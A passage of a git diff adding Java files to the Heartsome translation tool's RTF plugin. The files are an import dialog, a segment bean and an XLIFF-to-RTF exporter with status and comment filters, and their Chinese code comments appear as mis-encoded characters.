Messages.getString(Messages.DIALOG_EXPORT_OK_TITLE), + Messages.getString(Messages.DIALOG_EXPORT_OK_MSG_4)); + } + } + }); + close(); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/dialog/ImportRTFDialog.java b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/dialog/ImportRTFDialog.java new file mode 100644 index 0000000..0fb0424 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/dialog/ImportRTFDialog.java @@ -0,0 +1,302 @@ +package net.heartsome.cat.ts.ui.rtf.dialog; + +import java.text.MessageFormat; +import java.util.ArrayList; + +import net.heartsome.cat.common.core.Constant; +import net.heartsome.cat.common.file.XLFValidator; +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.common.ui.dialog.FileFolderSelectionDialog; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.ui.dialog.HelpDialog; +import net.heartsome.cat.ts.ui.rtf.Activator; +import net.heartsome.cat.ts.ui.rtf.importer.ImportRTFToXLIFF; +import net.heartsome.cat.ts.ui.rtf.resource.Messages; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.util.ProgressIndicatorManager; + +import org.eclipse.core.filesystem.EFS; +import org.eclipse.core.internal.filesystem.local.LocalFile; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Path; +import org.eclipse.core.runtime.Status; +import org.eclipse.core.runtime.jobs.IJobChangeEvent; +import org.eclipse.core.runtime.jobs.Job; +import org.eclipse.core.runtime.jobs.JobChangeAdapter; +import org.eclipse.jface.dialogs.IDialogSettings; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.viewers.Viewer; +import org.eclipse.jface.viewers.ViewerFilter; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 导入 RTF 文件对è¯æ¡† + * @author peason + * @version + * @since JDK1.6 + */ +@SuppressWarnings("restriction") +public class ImportRTFDialog extends HelpDialog { + + private static final Logger LOGGER = LoggerFactory.getLogger(ImportRTFDialog.class); + + private static final String STORE_RTF_PATH = "net.heartsome.cat.ts.ui.rtf.dialog.ImportRTFDialog.RtfPath"; + + /** 用户工作空间根目录 */ + private IWorkspaceRoot root = ResourcesPlugin.getWorkspace().getRoot(); + + /** XLIFFEditorImplWithNatTable 实例 */ + private XLIFFEditorImplWithNatTable xliffEditor; + + /** 项目集åˆï¼Œå€¼ä¸ºé¡¹ç›®çš„路径 */ + private ArrayList lstProject = new ArrayList(); + + /** xliff 文件路径文本框 */ + private Text txtXLIFFPath; + + /** xliff 文件æµè§ˆæŒ‰é’® */ + private Button btnBrowseXLIFF; + + /** RTF 文件路径文本框 */ + private Text txtRTFPath; + + /** RTF 文件æµè§ˆæŒ‰é’® */ + private Button btnBrowseRTF; + + /** 所选 xliff 文件的完整路径 */ + private String strXliffFullPath; + + /** 所选 xliff 文件的相对路径 */ + private String strXliffRelativePath; + + public ImportRTFDialog(Shell parentShell, XLIFFEditorImplWithNatTable xliffEditor, String strXliffRelativePath, String strXliffFullPath) { + super(parentShell); + this.xliffEditor = xliffEditor; + this.strXliffRelativePath = strXliffRelativePath; + this.strXliffFullPath = strXliffFullPath; + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + // ROBERTHELP 导入RTF + String language = CommonFunction.getSystemLanguage(); + String helpUrl = MessageFormat.format( + "/net.heartsome.cat.ts.ui.help/html/{0}/ch05s05.html#import-rtf-to-xliff", language); + setHelpUrl(helpUrl); + super.createButtonsForButtonBar(parent); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString(Messages.DIALOG_IMPORT_TITLE)); + } + + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + GridLayoutFactory.swtDefaults().extendedMargins(2, 2, 0, 0).numColumns(3).equalWidth(false).applyTo(tparent); + GridDataFactory.fillDefaults().hint(510, 120).grab(true, true).applyTo(tparent); + + Group groupXLIFF = new Group(tparent, SWT.None); + GridData data = new GridData(GridData.FILL_HORIZONTAL); + data.horizontalSpan = 3; + groupXLIFF.setLayoutData(data); + groupXLIFF.setLayout(new GridLayout(3, false)); + groupXLIFF.setText(Messages.getString("dialog.ImportRTFDialog.groupXLIFF")); + Label lblXLIFF = new Label(groupXLIFF, SWT.None); + lblXLIFF.setText(Messages.getString(Messages.DIALOG_IMPORT_XLIFF)); +// GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).grab(false, false).applyTo(lblXLIFF); + txtXLIFFPath = new Text(groupXLIFF, SWT.BORDER); + txtXLIFFPath.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + txtXLIFFPath.setEditable(false); + if (strXliffRelativePath != null) { + txtXLIFFPath.setText(strXliffRelativePath); + } + btnBrowseXLIFF = new Button(groupXLIFF, SWT.None); + btnBrowseXLIFF.setText(Messages.getString(Messages.DIALOG_IMPORT_XLIFF_BROWSE)); + + Label lblRTF = new Label(tparent, SWT.None); + lblRTF.setText(Messages.getString(Messages.DIALOG_IMPORT_RTF)); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).grab(false, false).applyTo(lblRTF); + txtRTFPath = new Text(tparent, SWT.BORDER); + txtRTFPath.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + txtRTFPath.setEditable(false); + btnBrowseRTF = new Button(tparent, SWT.None); + btnBrowseRTF.setText(Messages.getString(Messages.DIALOG_IMPORT_RTF_BROWSE)); + + for (IProject project : root.getProjects()) { + lstProject.add(project.getLocation().toOSString()); + } + initListener(); + initRtfPath(); + return tparent; + } + + private void initRtfPath() { + IDialogSettings dialogSettings = Activator.getDefault().getDialogSettings(); + String strRtfPath = dialogSettings.get(STORE_RTF_PATH); + if (strRtfPath != null && !strRtfPath.trim().equals("")) { + txtRTFPath.setText(strRtfPath); + } + } + + /** + * åˆå§‹åŒ–æŒ‰é’®ç›‘å¬ ; + */ + private void initListener() { + btnBrowseXLIFF.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent event) { + + FileFolderSelectionDialog dialog = new FileFolderSelectionDialog(getShell(), false, IResource.FILE) { + // 打开对è¯æ¡†æ—¶å±•å¼€æ ‘形目录 + public void create() { + super.create(); + super.getTreeViewer().expandAll(); + } + }; + dialog.setTitle(Messages.getString(Messages.DIALOG_IMPORT_XLIFF_INFO_0)); + dialog.setMessage(Messages.getString(Messages.DIALOG_IMPORT_XLIFF_INFO_1)); + dialog.setDoubleClickSelects(true); + dialog.setAllowMultiple(false); + try { + + dialog.setInput(EFS.getStore(root.getLocationURI())); + } catch (CoreException e1) { + LOGGER.error(Messages.getString("dialog.ImportRTFDialog.logger1"), e1); + } + dialog.addFilter(new ViewerFilter() { + + @Override + public boolean select(Viewer viewer, Object parentElement, Object element) { + if (element instanceof LocalFile) { + LocalFile folder = (LocalFile) element; + if (folder.getName().equalsIgnoreCase(".hsConfig") + || folder.getName().equalsIgnoreCase(".metadata")) { + return false; + } + if (lstProject.contains(folder.toString())) { + return true; + } + String xliffFolderPath = folder.toString(); + for (String projectPath : lstProject) { + String path1 = projectPath + System.getProperty("file.separator") + Constant.FOLDER_XLIFF; + if (xliffFolderPath.startsWith(path1)) { + return true; + } + } + } + return false; + } + }); + dialog.create(); + dialog.open(); + + if (dialog.getResult() != null) { + Object obj = dialog.getFirstResult(); + IFile file = root.getFileForLocation(Path.fromOSString(obj.toString())); + txtXLIFFPath.setText(file.getFullPath().toOSString()); + strXliffFullPath = ResourceUtils.iFileToOSPath(file); + } + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + btnBrowseRTF.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + FileDialog dialog = new FileDialog(getShell()); + dialog.setText(Messages.getString(Messages.DIALOG_IMPORT_RTF_INFO)); + dialog.setFilterExtensions(new String[] { "*.rtf" }); + dialog.setFilterNames(new String[] {Messages.getString(Messages.DIALOG_IMPORT_RTF_FILTER)}); + String fileSep = System.getProperty("file.separator"); + if (txtRTFPath.getText() != null && !txtRTFPath.getText().trim().equals("")) { + dialog.setFilterPath(txtRTFPath.getText().substring(0, txtRTFPath.getText().lastIndexOf(fileSep))); + dialog.setFileName(txtRTFPath.getText().substring(txtRTFPath.getText().lastIndexOf(fileSep) + 1)); + } else { + dialog.setFilterPath(System.getProperty("user.home")); + } + String path = dialog.open(); + if (path != null) { + txtRTFPath.setText(path); + } + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + } + + @Override + protected void okPressed() { + if (txtXLIFFPath.getText() == null || txtXLIFFPath.getText().trim().equals("")) { + MessageDialog.openInformation(getShell(), Messages.getString(Messages.DIALOG_IMPORT_OK_TITLE), Messages.getString(Messages.DIALOG_IMPORT_OK_MSG_0)); + return; + } + + IDialogSettings dialogSettings = Activator.getDefault().getDialogSettings(); + dialogSettings.put(STORE_RTF_PATH, txtRTFPath.getText().trim()); + + XLFValidator.resetFlag(); + if (!XLFValidator.validateXliffFile(strXliffFullPath)) { + return; + } + XLFValidator.resetFlag(); + final String strRTFPath = txtRTFPath.getText(); + if (strRTFPath == null || strRTFPath.trim().equals("")) { + MessageDialog.openInformation(getShell(), Messages.getString(Messages.DIALOG_IMPORT_OK_TITLE), Messages.getString(Messages.DIALOG_IMPORT_OK_MSG_1)); + return; + } + Job job = new Job(Messages.getString(Messages.DIALOG_IMPORT_OK_JOB_TITLE)) { + protected IStatus run(final IProgressMonitor monitor) { + ImportRTFToXLIFF importer = new ImportRTFToXLIFF(xliffEditor); + importer.convert(strXliffFullPath, strRTFPath, monitor); + return Status.OK_STATUS; + } + }; + job.addJobChangeListener(new JobChangeAdapter(){ + @Override + public void running(IJobChangeEvent event) { + ProgressIndicatorManager.displayProgressIndicator(); + super.running(event); + } + @Override + public void done(IJobChangeEvent event) { + ProgressIndicatorManager.hideProgressIndicator(); + super.done(event); + } + }); + job.setUser(true); + job.schedule(); + close(); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/exporter/Export.java b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/exporter/Export.java new file mode 100644 index 0000000..da00845 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/exporter/Export.java @@ -0,0 +1,141 @@ +package net.heartsome.cat.ts.ui.rtf.exporter; + +import net.sourceforge.rtf.format.rtfcode.RTFCodeString; + +/** + * 导出 RTF 文件时所用到的 Bean ç±» + * @author peason + * @version + * @since JDK1.6 + */ +public class Export { + + /** xliff 中的 trans-unit id */ + private String id; + + /** æºè¯­è¨€æ–‡æœ¬ */ + private RTFCodeString source; + + /** 目标语言文本 */ + private RTFCodeString target; + + /** æ–‡æœ¬æ®µçŠ¶æ€ */ + private String status; + + /** 文本段批注 */ + private RTFCodeString comment; + + /** + * æ— å‚构造方法 + */ + public Export() { + + } + + /** + * 构造方法 + * @param id + * @param source + * @param target + */ + public Export(String id, RTFCodeString source, RTFCodeString target) { + this.id = id; + this.source = source; + this.target = target; + } + + /** + * 构造方法 + * @param id + * @param source + * @param target + * @param status + * @param comment + */ + public Export(String id, RTFCodeString source, RTFCodeString target, String status, RTFCodeString comment) { + this(id, source, target); + this.status = status; + this.comment = comment; + } + + /** + * èŽ·å– id 值(xliff 中的 trans-unit id) + * @return ; + */ + public String getId() { + return id; + } + + /** + * 设置 id(xliff 中的 trans-unit id) + * @param id ; + */ + public void setId(String id) { + this.id = id; + } + + /** + * 获å–æºæ–‡æœ¬çš„ RTFCodeString 对象 + * @return ; + */ + public RTFCodeString getSource() { + return source; + } + + /** + * 设置æºæ–‡æœ¬çš„ RTFCodeString 对象 + * @param source ; + */ + public void setSource(RTFCodeString source) { + this.source = source; + } + + /** + * 获å–目标文本的 RTFCodeString 对象 + * @return ; + */ + public RTFCodeString getTarget() { + return target; + } + + /** + * 设置目标文本的 RTFCodeString 对象 + * @param target ; + */ + public void setTarget(RTFCodeString target) { + this.target = target; + } + + /** + * 获å–æ–‡æœ¬æ®µçŠ¶æ€ + * @return ; + */ + public String getStatus() { + return status; + } + + /** + * è®¾ç½®æ–‡æœ¬æ®µçŠ¶æ€ + * @param status ; + */ + public void setStatus(String status) { + this.status = status == null ? "" : status; + } + + /** + * 获å–文本段批注 + * @return ; + */ + public RTFCodeString getComment() { + return comment; + } + + /** + * 设置文本段批注 + * @param comment ; + */ + public void setComment(RTFCodeString comment) { + this.comment = comment; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/exporter/RTFTemplateExporter.java b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/exporter/RTFTemplateExporter.java new file mode 100644 index 0000000..5d20be1 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/exporter/RTFTemplateExporter.java @@ -0,0 +1,346 @@ +package net.heartsome.cat.ts.ui.rtf.exporter; + +import java.text.DateFormat; +import java.util.ArrayList; +import java.util.Collections; +import java.util.Date; +import java.util.List; +import java.util.Vector; + +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.rtf.RTFCodeStringFormat; +import net.heartsome.cat.ts.ui.rtf.RTFConstants; +import net.heartsome.cat.ts.ui.rtf.Rtf; +import net.heartsome.cat.ts.ui.rtf.innertag.InnerTagUtil; +import net.heartsome.cat.ts.ui.rtf.resource.Messages; +import net.heartsome.xml.vtdimpl.VTDUtils; +import net.sourceforge.rtf.RTFTemplate; +import net.sourceforge.rtf.format.rtfcode.RTFCodeString; +import net.sourceforge.rtf.template.IContext; +import net.sourceforge.rtf.usecases.AbstractRTFUseCase; +import net.sourceforge.rtf.util.StringUtils; + +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.swt.widgets.Display; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.NavException; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +/** + * 用于导出 RTF 文件 + * @author peason + * @version + * @since JDK1.6 + */ +public class RTFTemplateExporter extends AbstractRTFUseCase { + + private static final Logger LOGGER = LoggerFactory.getLogger(RTFTemplateExporter.class.getName()); + + /** XLIFF 文件路径 */ + private String xliffPath; + + /** æºè¯­è¨€ */ + private String srcLang; + + /** 目标语言 */ + private String tgtLang; + + /** 是å¦å¯¼å‡ºæ‰¹æ³¨ */ + private boolean isExportStatus; + + /** 是å¦å¯¼å‡ºæ–‡æœ¬æ®µçŠ¶æ€ */ + private boolean isExportComment; + + private boolean isExcludeOrOnlyExport; + + private ArrayList lstSelection; + + /** + * 构造方法 + * @param outDirectory + * 导出目录 + * @param xliffPath + * xliff 文件路径 + * @param srcLang + * æºè¯­è¨€ + * @param tgtLang + * 目标语言 + * @param isExportStatus + * 是å¦å¯¼å‡ºæ–‡æœ¬æ®µçŠ¶æ€ + * @param isExportComment + * 是å¦å¯¼å‡ºæ–‡æœ¬æ®µæ‰¹æ³¨ + */ + public RTFTemplateExporter(String outDirectory, String xliffPath, String srcLang, String tgtLang, + boolean isExportStatus, boolean isExportComment, boolean isExcludeOrOnlyExport, + ArrayList lstSelection) { + super(outDirectory); + this.xliffPath = xliffPath; + this.srcLang = srcLang; + this.tgtLang = tgtLang; + this.isExportStatus = isExportStatus; + this.isExportComment = isExportComment; + this.isExcludeOrOnlyExport = isExcludeOrOnlyExport; + this.lstSelection = lstSelection; + } + + @Override + protected void putDefaultFormat(RTFTemplate rtfTemplate) { + rtfTemplate.setDefaultFormat(Date.class, DateFormat.getDateInstance()); + rtfTemplate.setDefaultFormat(RTFCodeString.class, new RTFCodeStringFormat()); + } + + @Override + protected void putContext(IContext context) { + context.put("date", new Date()); + context.put("header_id", RTFConstants.RTF_MODEL_COLUMN_ID); + context.put("header_source", srcLang); + context.put("header_target", tgtLang); + context.put("header_comment", RTFConstants.RTF_MODEL_COLUMN_COMMENTS); + context.put("header_status", RTFConstants.RTF_MODEL_COLUMN_STATUS); + + List es = new ArrayList(); + VTDGen vg = new VTDGen(); + if (vg.parseFile(xliffPath, true)) { + VTDNav vn = vg.getNav(); + AutoPilot ap = new AutoPilot(vn); + ap.declareXPathNameSpace(XLFHandler.hsNSPrefix, XLFHandler.hsR7NSUrl); + try { + VTDUtils vu = new VTDUtils(vn); + String xpath = "/xliff/file[@source-language='" + srcLang + "' and @target-language='" + tgtLang + + "']/body/descendant::trans-unit"; + ap.selectXPath(xpath); + + AutoPilot ap2 = new AutoPilot(vn); + ap2.declareXPathNameSpace(XLFHandler.hsNSPrefix, XLFHandler.hsR7NSUrl); + + while (ap.evalXPath() != -1) { + String id = vu.getCurrentElementAttribut("id", null); + String srcText = vu.getValue("./source/text()"); + if (srcText == null || srcText.equalsIgnoreCase("")) { + continue; + } + + // 过滤æ¡ä»¶ + if (isExcludeOrOnlyExport) { + // 排除 + if (lstSelection.get(0)) { + // 排除é”定文本段 + vn.push(); + String locked = vu.getCurrentElementAttribut("translate", "yes"); + // locked 为 no 表示é”定 + if (locked.equalsIgnoreCase("no")) { + vn.pop(); + continue; + } else { + vn.pop(); + } + } + if (lstSelection.get(1)) { + // 排除上下文匹é…文本段 + vn.push(); + ap2.selectXPath("count(./alt-trans[@match-quality='101'])"); + int count101 = (int) ap2.evalXPathToNumber(); + if (count101 > 0) { + vn.pop(); + continue; + } else { + vn.pop(); + } + } + if (lstSelection.get(2)) { + // 排除完全匹é…文本段 + vn.push(); + ap2.selectXPath("count(./alt-trans[@match-quality='100'])"); + int count100 = (int) ap2.evalXPathToNumber(); + if (count100 > 0) { + vn.pop(); + continue; + } else { + vn.pop(); + } + } + } else { + // 仅导出 + if (lstSelection.get(0)) { + // 仅导出带批注的文本段 + vn.push(); + Vector lstComment = vu.getChildrenContent("note"); + if (lstComment == null || lstComment.size() == 0) { + vn.pop(); + continue; + } else { + vn.pop(); + } + } + if (lstSelection.get(1)) { + // 仅导出带疑问的文本段 + vn.push(); + String needReview = vu.getCurrentElementAttribut("hs:needs-review", null); + // 疑问行 + if (needReview == null || needReview.equalsIgnoreCase("no")) { + vn.pop(); + continue; + } else { + vn.pop(); + } + } + } + + StringBuffer sbSrc = new StringBuffer(srcText); + InnerTagUtil.parseXmlToDisplayValue(sbSrc); + String srcHexString = TextUtil.encodeHexString(sbSrc.toString()); + srcText = Rtf.asRtf(TextUtil.decodeHexString(Rtf.replaceInvisibleChar(srcHexString))); + srcText = replateTag(srcText); + + String tgtText = vu.getValue("./target/text()"); + if (tgtText != null) { + StringBuffer sbTgt = new StringBuffer(tgtText); + InnerTagUtil.parseXmlToDisplayValue(sbTgt); + String tgtHexString = TextUtil.encodeHexString(sbTgt.toString()); + tgtText = Rtf.asRtf(TextUtil.decodeHexString(Rtf.replaceInvisibleChar(tgtHexString))); + tgtText = replateTag(tgtText); + } else { + tgtText = ""; + } + + Export bean = new Export(id, new RTFCodeString(srcText, false), new RTFCodeString(tgtText, false)); + + if (isExportStatus) { + vn.push(); + ArrayList lstStatus = new ArrayList(); + String status = null; + String needReview = vu.getCurrentElementAttribut("hs:needs-review", null); + // 疑问行 + if (needReview != null && needReview.equalsIgnoreCase("yes")) { + lstStatus.add(RTFConstants.STATUS_NEED_REVIEW); + } + // ä¸æ·»åŠ åˆ°è®°å¿†åº“ + String sendToTM = vu.getCurrentElementAttribut("hs:send-to-tm", null); + if (sendToTM != null && sendToTM.equalsIgnoreCase("no")) { + lstStatus.add(RTFConstants.STATUS_NOT_SEND_TO_TM); + } + + String locked = vu.getCurrentElementAttribut("translate", "yes"); + // locked 为 no 表示é”定 + if (locked.equalsIgnoreCase("no")) { + lstStatus.add(RTFConstants.STATUS_LOCKED); + } + String approved = vu.getCurrentElementAttribut("approved", "no"); + String state = vu.getValue("./target/@state"); + + if (tgtText == null || tgtText.equals("")) { + // 未翻译 + lstStatus.add(RTFConstants.STATUS_NOT_TRANSLATE); + } else { + if (state != null) { + if (state.equalsIgnoreCase("signed-off")) { + // å·²ç­¾å‘ + lstStatus.add(RTFConstants.STATUS_SIGNED_OFF); + } else if (approved.equalsIgnoreCase("yes")) { + // 已批准 + lstStatus.add(RTFConstants.STATUS_APPROVED); + } else if (!approved.equalsIgnoreCase("yes") && state.equalsIgnoreCase("translated")) { + // 完æˆç¿»è¯‘ + lstStatus.add(RTFConstants.STATUS_TRANSLATED); + } else if (state.equalsIgnoreCase("new")) { + // è‰ç¨¿ + lstStatus.add(RTFConstants.STATUS_NEW); + } + } else { + if (approved.equalsIgnoreCase("yes")) { + // 已批准 + lstStatus.add(RTFConstants.STATUS_APPROVED); + } else { + // 未翻译 + lstStatus.add(RTFConstants.STATUS_NOT_TRANSLATE); + } + } + } + vn.pop(); + if (lstStatus.size() > 0) { + Collections.sort(lstStatus); + status = lstStatus.toString().substring(1, lstStatus.toString().length() - 1); + // å„状æ€ä¹‹é—´ä»¥ & 相连 + status = status.replaceAll(",", " &"); + } + bean.setStatus(Rtf.asRtf(status)); + } + if (isExportComment) { + vn.push(); + String note = ""; + Vector lstComment = vu.getChildrenContent("note"); + if (lstComment != null && lstComment.size() > 0) { + if (lstComment.size() == 1) { + String strNote = lstComment.get(0); + if (strNote.indexOf(":") != -1) { + note = strNote.substring(strNote.indexOf(":") + 1); + } else { + note = strNote; + } + } else { + for (int i = 0; i < lstComment.size(); i++) { + String strNote = lstComment.get(i); + if (strNote.indexOf(":") != -1) { + strNote = strNote.substring(strNote.indexOf(":") + 1); + } + note += (i + 1) + ". " + strNote; + if (i != lstComment.size() - 1) { + note += "\n"; + } + } + } + } + + vn.pop(); + bean.setComment(new RTFCodeString(replateTag(Rtf.asRtf(note)), false)); + } + es.add(bean); + } + if (es.size() == 0) { + Export bean = new Export("", new RTFCodeString("", false), new RTFCodeString("", false), "", + new RTFCodeString("", false)); + es.add(bean); + } + context.put("es", es); + } catch (NavException e) { + LOGGER.error(Messages.getString("exporter.RTFTemplateExporter.logger"), e); + MessageDialog.openInformation(Display.getCurrent().getActiveShell(), + Messages.getString("exporter.RTFTemplateExporter.msg.title"), + Messages.getString("exporter.RTFTemplateExporter.msg")); + } catch (XPathParseException e) { + LOGGER.error(Messages.getString("exporter.RTFTemplateExporter.logger"), e); + MessageDialog.openInformation(Display.getCurrent().getActiveShell(), + Messages.getString("exporter.RTFTemplateExporter.msg.title"), + Messages.getString("exporter.RTFTemplateExporter.msg")); + } catch (XPathEvalException e) { + LOGGER.error(Messages.getString("exporter.RTFTemplateExporter.logger"), e); + MessageDialog.openInformation(Display.getCurrent().getActiveShell(), + Messages.getString("exporter.RTFTemplateExporter.msg.title"), + Messages.getString("exporter.RTFTemplateExporter.msg")); + } + } + } + + /** + * 用于将 text 中的标记加粗 + * @param text + * @return ; + */ + private String replateTag(String text) { + if (text != null) { + // text = text.replaceAll("\\}", "\\\\\\\\}"); + // text = text.replaceAll("\\{", "\\\\\\\\{"); + text = StringUtils.sub(text, RTFConstants.TAG_RTF, "{" + RTFConstants.RTF_COLOR_RED + " " + + RTFConstants.TAG_RTF + "}"); + text = TextUtil.xmlToString(text); + } + return text; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/exporter/XLIFF2RTFUtil.java b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/exporter/XLIFF2RTFUtil.java new file mode 100644 index 0000000..d61c1c5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/exporter/XLIFF2RTFUtil.java @@ -0,0 +1,152 @@ +package net.heartsome.cat.ts.ui.rtf.exporter; + +import java.io.File; +import java.net.URL; +import java.text.MessageFormat; +import java.util.ArrayList; + +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.ui.rtf.Activator; +import net.heartsome.cat.ts.ui.rtf.RTFConstants; +import net.heartsome.cat.ts.ui.rtf.resource.Messages; + +import org.eclipse.core.resources.IFile; +import org.eclipse.core.runtime.FileLocator; +import org.eclipse.core.runtime.Platform; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.swt.widgets.Display; +import org.osgi.framework.Bundle; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * XLIFF 文件导出 RTF 文件的工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public class XLIFF2RTFUtil { + + private static final Logger LOGGER = LoggerFactory.getLogger(XLIFF2RTFUtil.class.getName()); + + public XLIFF2RTFUtil() { + + } + + /** + * xliff 文件导出为 rtf 文件 + * @param xliffFile + * xliff 文件对象 + * @param srcLang + * æºè¯­è¨€ + * @param tgtLang + * 目标语言 + * @param isExportStatus + * å¯¼å‡ºæ–‡æœ¬æ®µçŠ¶æ€ + * @param isExportComment + * 是å¦å¯¼å‡ºæ‰¹æ³¨ + * @param saveRtfDirectory + * RTF 文件ä¿å­˜ç›®å½• + */ + public boolean exporter(IFile xliffFile, String srcLang, String tgtLang, boolean isExportStatus, + boolean isExportComment, String saveRtfDirectory, boolean isExcludeOrOnlyExport, + ArrayList lstSelection) { + return exporter(ResourceUtils.iFileToOSPath(xliffFile), srcLang, tgtLang, isExportStatus, isExportComment, + saveRtfDirectory, isExcludeOrOnlyExport, lstSelection); + } + + /** + * xliff 文件导出为 rtf 文件 + * @param xliffPath + * xliff 文件路径 + * @param srcLang + * æºè¯­è¨€ + * @param tgtLang + * 目标语言 + * @param isExportStatus + * å¯¼å‡ºæ–‡æœ¬æ®µçŠ¶æ€ + * @param isExportComment + * 是å¦å¯¼å‡ºæ‰¹æ³¨ + * @param saveRtfDirectory + * RTF 文件ä¿å­˜ç›®å½• + */ + public boolean exporter(String xliffPath, String srcLang, String tgtLang, boolean isExportStatus, + boolean isExportComment, String saveRtfDirectory, boolean isExcludeOrOnlyExport, + ArrayList lstSelection) { + File out = new File(saveRtfDirectory); + out.mkdir(); + String fileSeparator = System.getProperty("file.separator"); + String xliffName = xliffPath.substring(xliffPath.lastIndexOf(fileSeparator) + fileSeparator.length()); + xliffName = xliffName.substring(0, xliffName.lastIndexOf(".")); + // 当文件å中无目标语言åŽç¼€æ—¶ï¼Œæ·»åŠ ç›®æ ‡è¯­è¨€åŽç¼€ + if (xliffName.indexOf(tgtLang) < 0) { + xliffName = xliffName + "_" + tgtLang; + } + File file = new File(saveRtfDirectory + fileSeparator + xliffName + ".rtf"); + if (file.exists()) { + // Bug #2269:连续导出åŒä¸€ xliff 文件的 RTF 文件,ä¿å­˜æ–‡ä»¶å存在问题 + String msg = Messages.getString("exporter.XLIFF2RTFUtil.msg2"); + Object args[] = { file.getAbsolutePath() }; + if (MessageDialog.openConfirm(Display.getCurrent().getActiveShell(), + Messages.getString("exporter.XLIFF2RTFUtil.msg.title2"), new MessageFormat(msg).format(args))) { + if (!file.delete()) { + MessageDialog.openInformation(Display.getCurrent().getActiveShell(), + Messages.getString("exporter.XLIFF2RTFUtil.msg.title"), + MessageFormat.format(Messages.getString("exporter.XLIFF2RTFUtil.msg3"), file.getAbsolutePath())); + return false; + } + } else { + return false; + } + } + + RTFTemplateExporter rtfTemplate = new RTFTemplateExporter(saveRtfDirectory, xliffPath, srcLang, tgtLang, + isExportStatus, isExportComment, isExcludeOrOnlyExport, lstSelection); + + try { + Bundle buddle = Platform.getBundle(Activator.PLUGIN_ID); + String path = RTFConstants.RTF_DEFAULT_MODEL_PATH; + URL defaultUrl = buddle.getEntry(RTFConstants.RTF_DEFAULT_MODEL_RELATIVE_PATH); + if (isExportComment || isExportStatus) { + if (isExportComment && isExportStatus) { + if (CommonFunction.getSystemLanguage().equalsIgnoreCase("zh")) { + path = RTFConstants.COMMENTS_AND_STATUS_ZH; + defaultUrl = buddle.getEntry(RTFConstants.COMMENTS_AND_STATUS_ZH_RELATIVE_PATH); + } else if (CommonFunction.getSystemLanguage().equalsIgnoreCase("en")) { + path = RTFConstants.COMMENTS_AND_STATUS_EN; + defaultUrl = buddle.getEntry(RTFConstants.COMMENTS_AND_STATUS_EN_RELATIVE_PATH); + } + } else if (isExportStatus) { + if (CommonFunction.getSystemLanguage().equalsIgnoreCase("zh")) { + path = RTFConstants.RTF_MODEL_WITH_STATUS_ZH; + defaultUrl = buddle.getEntry(RTFConstants.RTF_MODEL_WITH_STATUS_ZH_RELATIVE_PATH); + } else if 